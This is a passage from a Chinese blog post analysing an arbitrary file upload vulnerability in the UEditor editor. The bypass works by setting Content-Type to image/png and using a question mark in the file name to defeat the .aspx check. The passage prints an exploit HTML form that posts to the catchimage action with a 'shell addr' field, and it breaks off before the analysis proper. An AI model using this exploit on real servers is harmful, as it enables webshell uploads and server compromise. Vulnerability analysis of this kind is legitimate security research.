UEditor编辑器任意文件上传漏洞分析

最新推荐文章于 2024-08-02 12:04:32 发布

CanMeng'Blog

最新推荐文章于 2024-08-02 12:04:32 发布

阅读量1.8k

点赞数

文章标签：编辑器安全漏洞网络安全

本文链接：https://blog.csdn.net/weixin_41679427/article/details/110311078

版权

本文分析了UEditor编辑器中的一个安全漏洞，该漏洞允许任意文件上传。通过对上传过程的深入研究，发现漏洞存在于CrawlerHandler类中，通过设置Content-Type为image/png可以绕过检查。此外，文件名的解析问题也是关键，利用问号可以规避.aspx的限制，导致安全风险。参考链接提供了更多详细信息。

摘要由CSDN通过智能技术生成

ue下载地址
http://http://ueditor.baidu.com/website/download.html
exp

<form action="http://192.168.1.103/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr:<input type="text" name="source[]" /></p >

  <inputtype="submit" value="Submit" />

</form>

我们首先来看一下目录结构